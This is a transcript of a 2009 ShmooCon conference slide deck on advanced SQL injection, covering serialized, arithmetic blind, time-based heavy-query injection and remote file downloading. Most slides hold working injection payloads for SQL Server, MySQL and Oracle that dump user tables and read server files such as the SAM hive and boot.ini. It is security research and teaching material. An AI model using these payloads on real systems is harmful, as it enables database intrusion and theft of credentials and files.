Talk delivered by Chema Alonso & Jose Palazon "Palako" in ShmooCON 2009 at Washington about SQL Injection, Blind SQL Injection, Time-Based Blind SQL Injection, RFD (Remote File Downloading) and Serialized SQL Injection. http://www.slideshare.net/chemai64/timebased-blind-sql-injection-using-heavy-queries-34887073

1. (Re) Playing with (Blind) SQL
Injection
José Palazón “Palako”
Mobile Security at Yahoo!
Chema Alonso
Informatica64
Microsoft MVP Enterprise Security

2. Spain (…not only bulls…)

3. SQL Injection attacks
http://www.phrack.org/issues.html?id=8&issue=54
A long time ago, in a galaxy far, far away…

4. Agenda
• Serialized SQL Injection
– Demo: XML Extractor
• Arithmetic SQL Injection
– Divide by Zero
– Sums and subtractions
– Type oveflow
– Demo
• Remote File Downloading using Blind SQL Injection
– SQL Sever
– MySQL
– Oracle
– Demo: RFD Tool
• Time-Based Blind SQL Injection using heavy queries
– Demo: Marathon Tool

5. Serialized SQL Injection

6. Serialized SQL Injection
• Goal: To Merge complex resultsets in a single
showable field
• XML serialization functions allow to convert a
resultset into a one XML string.
• It´s possible to download big amount of data
with single and simple injections.

7. SQL Server
• FOR XML: Retrieves data as a single string representing an XML tree.
• RAW: Mandatory option. Shows the information converting each row of
the result set in an XML element in the form <row />.
• BINARY BASE64: The query will fail if we find any BINARY data type
column (containing images, or passwords) if this option is not explicitly
specified.
– union select '1','2','3',(select * from sysusers for xml raw, binary base64)
• XMLSCHEMA: obtains the whole table structure, including the data types,
column names and other constraints.
– Described by Dani Kachakil

8. MySQL
• No default XML support, requires a server side
extension
• GROUP_CONCAT (v 4.1+)

9. Oracle
• xmlforest, xmlelement,…
• No * support

10. Demo: Serialized SQL Injection

11. Arithmetic Blind SQL Injection

12. Blind Attacks
• Attacker injects code but can´t access directly to
the data.
• However this injection changes the behavior of
the web application.
• Then the attacker looks for differences between
true code injections (1=1) and false code
injections (1=2) in the response pages to extract
data.
– Blind SQL Injection
– Biind Xpath Injection
– Blind LDAP Injection

13. Blind SQL Injection Attacks
• Attacker injects:
– “True where clauses”
– “False where clauses“
– Ex:
• Program.php?id=1 and 1=1
• Program.php?id=1 and 1=2
• Program doesn’t return any visible data from
database or data in error messages.
• The attacker can´t see any data extracted from
the database.

14. Blind SQL Injection Attacks
• Attacker analyzes the response pages looking
for differences between “True-Answer Page”
and “False-Answer Page”:
– Different hashes
– Different html structure
– Different patterns (keywords)
– Different linear ASCII sums
– “Different behavior”
• By example: Response Time

15. Blind SQL Injection Attacks
• If any difference exists, then:
– Attacker can extract all information from database
– How? Using “booleanization”
• MySQL:
– Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
» “True-Answer Page” or “False-Answer Page”?
• MSSQL:
– Program.php?id=1 and 100>(Select top 1
ASCII(Substring(name,1,1))) from sysusers)
• Oracle:
– Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1)))
from all_users where rownum<=1)

16. Arithmetic Blind SQL Injection
• The query force the parameter to be numeric
– SELECT field FROM table WHERE id=abs(param)
• Boolean logic is created with math operations
– Divide by zero
– Sums and subtractions
– Type overflows

17. Arithmetic Blind SQL Injection
• Divide by zero (David Litchfield)
– Id=A+(1/(ASCII(B)-C))
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.:
Substring(passwd,1,1)
•C-> Counter [0..255]
– When ASCII(B)=C, the DB will generate a divide by
zero exception.

18. Arithmetic Blind SQL Injection
• Sums and subtractions
– Id=A+ASCII(B)-C
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.:
Substring(passwd,1,1)
•C-> Counter [0..255]
– When ASCII(B)=C, then the response page of
id=A+ASCII(B)-C will be the same as id=A

19. Arithmetic Blind SQL Injection
• Value type overflow
– Id=A+((C/ASCII(B))*(K))
•A-> Param value originally used in the query.
•B -> Value we are searching for, e.g.:
Substring(passwd,1,1)
•C-> Counter [0..255]
•K-> Value that overflows the type defined for A
–(e.g. if A is integer, then K=2^32)
– When C/ASCII(B)==1, K*1 overflows the data type

20. Demo:
• Divide by zero
• Sums and subtractions
• Integer overflow

21. Remote File Downloading using
Blind SQL Injection techniques

22. Accessing Files
• Two ways:
– Load the file in a temp table
• and i>(select top 1 ASCII(Substring(column)(file,pos,1))
from temp_table ??
– Load the file in the query
• With every query the file is loaded in memory
• I am very sorry, engine 
• and i>ASCII(Substring(load_file(file,pos,1))??

23. SQL Server 2K - External Data Sources
• Only for known filetypes:
– Access trough Drivers: Txt, csv, xls, mdb, log
– And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver
= {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:;','select top 1 * from
c:dirtarget.txt’),1,1))
• Privileges
– HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerProvidersDisall
owAdhocAccess=0
– By default this key doesn´t exist so only users with Server Admin Role can use
these functions.
• NTFS permissions

24. SQL Server 2K – Bulk option
• Access to any file
– ; Create Table TempTable as (row varchar(8000)) --
– ; Bulk Insert TempTable From 'c:file.ext' With (FIELDTERMINATOR =
'n', ROWTERMINATOR = 'n‘) --
– ; alter table TempTable add num int IDENTITY(1,1) NOT NULL –
– and (select COUNT(row) from TempTable)
– and (select top 1 len(row) from TempTable where num = rownum)
– and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where
num = 1)
– ; Drop Table TempTable--
• Privileges needed
– Server Role: Bulkadmin
– Database Role: db_owner o db_ddladmin
• NTFS permissions

25. SQL Server 2k5 – 2k8
• OPENDATASOURCE and OPENROWSET supported
• Bulk options improved
– AND 256 > ASCII(SUBSTRING ((SELECT * FROM
OPENROWSET(BULK 'c:windowsrepairsam',
SINGLE_BLOB) As Data), 1, 1))—
• Permisions
• Bulkadmin Server Role
• External Data Sources enabled
• Sp_configure
• Surface configuration Tool for features

26. MySQL
• LoadFile
– SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
• SQLbfTools: MySQLget command (illo and dab)
• http://www.reversing.org/node/view/11
• Load Data infile
– ; Create table C8DFC643 (datos varchar(4000))
– ; Load data infile 'c:boot.ini' into table C8DFC643
– ; alter table C8DFC643 add column num integer auto_increment
unique key
– and (select count(num) from C8DFC643)
– and (select length(datos) from C8DFC643 where num = 1)
– and (select ASCII(substring(datos,5,1)) from C8DFC643 where num =
1)
– ; Drop table C8DFC643

27. Oracle – Plain Text files
• External Tables
– ; execute immediate 'Create Directory A4A9308C
As ''c:'' '; end; --
– ; execute immediate 'Create table A737D141
( datos varchar2(4000) ) organization external
(TYPE ORACLE_LOADER default directory
A4A9308C access parameters ( records delimited
by newline ) location (''boot.ini''))'; end;--
– Only Plain Text files

28. Oracle – DBMS_LOB
; execute immediate ‘
DECLARE l_bfile BFILE;
l_blob BLOB;
BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN
datos INTO l_blob;
l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');
DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));
DBMS_LOB.fileclose(l_bfile);
COMMIT;
EXCEPTION
WHEN OTHERS THEN ROLLBACK;
END;‘
; end; --

29. Demo RFD

30. Time-based Blind SQL Injection
using heavy queries

31. Time-Based Blind SQL Injection
• In scenarios with no differences between “True-
Answer Page” and “False-Answer Page”, time
delays can be used.
• Injection forces a delay in the response page
when the condition injected is True.
- Delay functions:
• SQL Server: waitfor
• Oracle: dbms_lock.sleep
• MySQL: sleep or Benchmark Function
• Postgres: pg_sleep
– Ex:
• ; if (exists(select * from users)) waitfor delay '0:0:5’

32. Exploit for Solar Empire Web Game

33. Deep Blind SQL Injection
• Time delay depends on the wanted value.
• E.g. “a”->10s. delay, “b”->11s. Delay, …
• http://labs.portcullis.co.uk/application/deep-blind-

34. Time-Based Blind SQL Injection
• What about databases engines without delay
functions, i.e., MS Access, Oracle connection
without PL/SQL support, DB2, etc…?
• Can we still perform an exploitation of Time-
Based Blind SQL Injection Attacks?

35. Yes, we can!

36. “Where-Clause” execution order
Select “whatever “
From whatever
Where condition1 and condition2
- Condition1 lasts 10 seconds
- Condition2 lasts 100 seconds
Which condition should be executed first?

37. The heavy condition first
Condition2 (100 sec) Condition1 (10 sec) Condition2 & condition1 Response Time
TRUE FALSE FALSE 110 sec
TRUE TRUE TRUE 110 sec
FALSE Not evaluated FALSE 100 sec

38. The light condition first
Condition1 (10 sec) Condition2 (100 sec) Condition1 & condition2 Response Time
TRUE FALSE FALSE 110 sec
TRUE TRUE TRUE 110 sec
FALSE Not evaluated FALSE 10 sec

39. Time-Based Blind SQL Injection
using Heavy Queries
• Attacker can perform an exploitation delaying
the “True-answer page” using a heavy query.
• It depends on how the database engine
evaluates the where clauses in the query.
• There are two types of database engines:
– Databases without optimization process
– Databases with optimization process

40. Time-Based Blind SQL Injection
using Heavy Queries
• Attacker could inject a heavy Cross-Join condition for
delaying the response page in True-Injections.
• The Cross-join injection must be heavier than the other
condition.
• Attacker only have to know or to guess the name of a
table with select permission in the database.
• Example in MSSQL:
– Program.php?id=1 and (SELECT count(*) FROM sysusers
AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS
sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7,
sysusers AS sys8)>1 and 300>(select top 1
ascii(substring(name,1,1)) from sysusers)

41. “Default” tables to construct a heavy
query
– Microsoft SQL Server
• sysusers
– Oracle
• all_users
– MySQL (versión 5)
• information_schema.columns
– Microsoft Access
• MSysAccessObjects (97 & 2000 versions)
• MSysAccessStorage (2003 & 2007)
41

42. “Default” tables to construct a heavy
query
• …or whatever you can guess
– Clients
– Customers
– News
– Logins
– Users
– Providers
– ….Use your imagination…

43. Ex 1: MS SQL Server
Query lasts 14 seconds -> True-Answer

44. Ex 1: MS SQL Server
• Query lasts 1 second -> False-Answer

45. Ex 2: Oracle
Query Lasts 22 seconds –> True-Answer

46. Ex 2: Oracle
Query Lasts 1 second –> False-Answer

47. Ex 3: Access 2000
Query Lasts 6 seconds –> True-Answer

48. Ex 3: Access 2000
Query Lasts 1 second –> False-Answer

49. Ex 4: Access 2007
Query Lasts 39 seconds –> True-Answer

50. Ex 4: Access 2007
Query Lasts 1 second –> False-Answer

51. Marathon Tool
• Automates Time-Based Blind SQL Injection
Attacks using Heavy Queries in SQL Server,
MySQL, MS Access and Oracle Databases.
• Schema Extraction from known databases
• Extract data using heavy queries not matter in
which database engine (without schema)
• Developed in .NET
• Source code available

52. Demo: Marathon Tool

53. Prevention:
Don´t forget Bobby Tables!
SANITIZE YOUR QUERIES!

54. ¿Preguntas?
• Speakers:
– Chema Alonso (chema@informatica64.com)
– Palako (palako@lateatral.com)
• Autores
– Chema Alonso (chema@informatica64.com)
– Alejandro Martín (amartin@informatica64.com)
– Antonio Guzmán (aguzman@urjc.es)
– Daniel Kachakil (dani@kachakil.org)
– José Palazón “Palako” (palako@lateatral.com)
– Marta Beltran (mberltran@urjc.es)